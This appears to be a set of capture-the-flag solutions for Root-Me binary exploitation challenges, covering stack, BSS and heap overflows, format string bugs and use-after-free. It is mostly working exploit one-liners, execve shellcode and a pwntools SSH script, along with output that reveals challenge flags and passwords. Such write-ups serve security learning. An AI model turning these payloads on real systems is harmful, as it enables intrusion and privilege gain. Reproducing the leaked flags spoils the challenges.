

# Exploitation de binaire avancé

- [ELF x86 - Stack buffer overflow basic 2](#)
- [ELF x64 - Stack buffer overflow - basic](#)
- [ELF x86 - Format string bug basic 2](#)
- [ELF x64 - Stack buffer overflow - PIE](#)
- [ELF x86 - BSS buffer overflow](#)
- [ELF x64 - Basic heap overflow](#)
- [ELF x64 - Double free](#)
- [ELF x86 - Use After Free - basic](#)
- [ELF x86 - Stack buffer overflow basic 6](#)
- [ELF x86 - Format String Bug Basic 3](#)

# ELF x86 - Stack buffer overflow basic 2

```
$ (python -c 'print "A"*128 +" \x64\x84\x04\x08" ' ;cat) | ./ch15
```

# ELF x64 - Stack buffer overflow - basic

```
$ (python -c 'print "A"*280+"\xcd\x06\x40\x00\x00\x00\x00\x00'; cat) | ./ch35
```

# ELF x86 - Format string bug

## basic 2

```
import struct

CHECK_ADDR = <addr>

exploit = ""
exploit += struct.pack("I", CHECK_ADDR)    # $9
exploit += struct.pack("I", CHECK_ADDR + 1) # $10
exploit += struct.pack("I", CHECK_ADDR + 2) # $11
exploit += struct.pack("I", CHECK_ADDR + 3) # $12

exploit += "%9$223x"
exploit += "%9$n"

exploit += "%10$207x"
exploit += "%10$n"

exploit += "%11$239x"
exploit += "%11$n"

exploit += "%12$305x"
exploit += "%12$n"

print exploit
```

# ELF x64 - Stack buffer overflow - PIE

shell 1:

```
app-systeme-ch83@challenge03:~$ python -c 'import struct; print("A"*0x28 +
struct.pack("<Q",0x55fc7235191a - 0xa0))' > /tmp/ezeqielle
app-systeme-ch83@challenge03:~$ cat /tmp/ezeqielle | ./ch83
I'm an unbreakable safe, so you need a key to enter!
Hint, main(): 0x563b91a2f91a
Key: Access denied!
Segmentation fault
```

Shell 2:

```
app-systeme-ch83@challenge03:~$ python -c 'import struct; print("A"*0x28 +
struct.pack("<Q",0x563b91a2f91a - 0xa0))' > /tmp/ezeqielle
```

Shell 1:

```
Access granted!
Super secret flag: $$_D0n't_PiE_l1k3_i_d1d_$$
Segmentation fault
```

# ELF x86 - BSS buffer overflow

```
./ch7 `python -c 'print "\x90"*483 +
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0
\x0b\xcd\x80" + "\xac\xfd\xff\xbf"'`
```

```
[+] Running program with username :
????????????????????????????????????????????????????????????????????????????????????
??????
????????????????????????????????????????????????????????????????????????????????????
??????
????????????????????????????????????????????????????????????????????????????????????
??????
????????????????????????????????????????????????????????????????????????????????????
??????
????????????????????????????????????????????????????????????????????????????????????
??????
????????????????????????????????????????????????????????????????????????????????????
??????
????????????????????????????????????????????????????????????????????????????????????
??????
????????????????????????????????????????????????????????????????????????????????????
??????
????????????????????????????????????????????????????????????????????????????????????
??????
????????????????????????????????????????????????????????????????????????????????????
??????
????????????????????????????????????????????????????????????????????????????????????
??????
????????????????????????????????????????????????????????????????????????????????????
??????
????????????????????????????????????????????????????????????????????????????????????
??????
????????????????????????????????????????????????????????????????????????????????????
??????
????????????????????????????????????????????????????????????????????????????????????
??????
????????????????????????????????????????????????????????????????????????????????????
??????
????????????????????????????????????????????????????????????????????????????????????
??????
1Phn/shh//biRS
`@
$ cat .passwd
aod8r2f!q;:oe
```

# ELF x64 - Basic heap overflow

```
import pwn
USER = "app-systeme-ch94"
PASS = "app-systeme-ch94"
def main():
    s = pwn.ssh(USER, "challenge03.root-me.org", 2223, PASS)
    io = s.process('ch94')
    data = "A"*(0x20+8+8)
    data += 'cat .p* '
    pwn.log.info(f"Payload with len {len(data)} : {data}")
    io.sendline(data)
    print(io.recv())
    print(io.recv())
    io.close()
    s.close()
if __name__ == '__main__':
    main()
```

# ELF x64 - Double free

"1 → 5 → 1 → 3 → 7 → 1 → 4 → 5 → 1 → 5 → 2 → 1 → 7 → 1"



# ELF x86 - Use After Free - basic

```
app-systeme-ch63@challenge03:~$ printf "1\ntoto\n4\n5\nAAAABBBBCCCC\xcb\x87\x04\x08\nhome\n7\n3\n" | ./ch63
```

1: Buy a dog

2: Make him bark

3: Bring me the flag

4: Watch his death

5: Build dog house

6: Give dog house to your dog

7: Break dog house

0: Quit

How do you name him?

You buy a new dog. toto is a good name for him

1: Buy a dog

2: Make him bark

3: Bring me the flag

4: Watch his death

5: Build dog house

6: Give dog house to your dog

7: Break dog house

0: Quit

toto run under a car... toto 0-1 car

1: Buy a dog

2: Make him bark

3: Bring me the flag

4: Watch his death

5: Build dog house

6: Give dog house to your dog

7: Break dog house

0: Quit

Where do you build it?

How do you name it?

You build a new dog house.

- 1: Buy a dog
- 2: Make him bark
- 3: Bring me the flag
- 4: Watch his death
- 5: Build dog house
- 6: Give dog house to your dog
- 7: Break dog house
- 0: Quit

You break the dog house.

- 1: Buy a dog
- 2: Make him bark
- 3: Bring me the flag
- 4: Watch his death
- 5: Build dog house
- 6: Give dog house to your dog
- 7: Break dog house
- 0: Quit

Bring me the flag !!!

prefers to bark...

U44aafff\_U4f\_The\_d0G

- 1: Buy a dog
- 2: Make him bark
- 3: Bring me the flag
- 4: Watch his death
- 5: Build dog house
- 6: Give dog house to your dog
- 7: Break dog house
- 0: Quit

# ELF x86 - Stack buffer overflow basic 6

```
app-systeme-ch33@challenge02:~$ ./ch33 $(python -c 'print "A"*32 + "\xb0\x70\xe6\xb7" +  
"\xf0\xab\xe5\xb7" + "\xfd\xfd\xff\xbf"')
```

```
Your message: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA?p????????????
```

```
sh-4.2$ cat .passwd
```

# ELF x86 - Format String Bug

## Basic 3

```
app-systeme-ch17@challenge02:~$ export SHELLCODE=`python -c
'print("\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x2f\x62\x61\x73\x68\x2f\x62
\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80")`
# METTRE DANS /tmp/findenv.c le code suivant :
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char * argv[]) {
    char *ptr;
    if(argc<3){
        printf("Usage: %s <environment var> <target program name>\n", argv[0]);
        exit(0);
    }
    ptr = getenv(argv[1]);
    ptr += (strlen(argv[0]) - strlen(argv[2])) * 2;
    printf("%s will be at %p\n", argv[1], ptr);
}
# Puis faire make et renommer a.out en findenv
app-systeme-ch17@challenge02:~$ /tmp/findenv SHELLCODE ./ch17
SHELLCODE will be at 0xbffffe33
app-systeme-ch17@challenge02:~$ (python -c "print '%117x'+'\x33\xfe\xff\xbf' ; cat ) | ./ch17
Username: Bad username: %117x3????
id
uid=1117(app-systeme-ch17) gid=1117(app-systeme-ch17) euid=1217(app-systeme-ch17-cracked)
groups=1117(app-systeme-ch17),100(users)
cat .passwd
```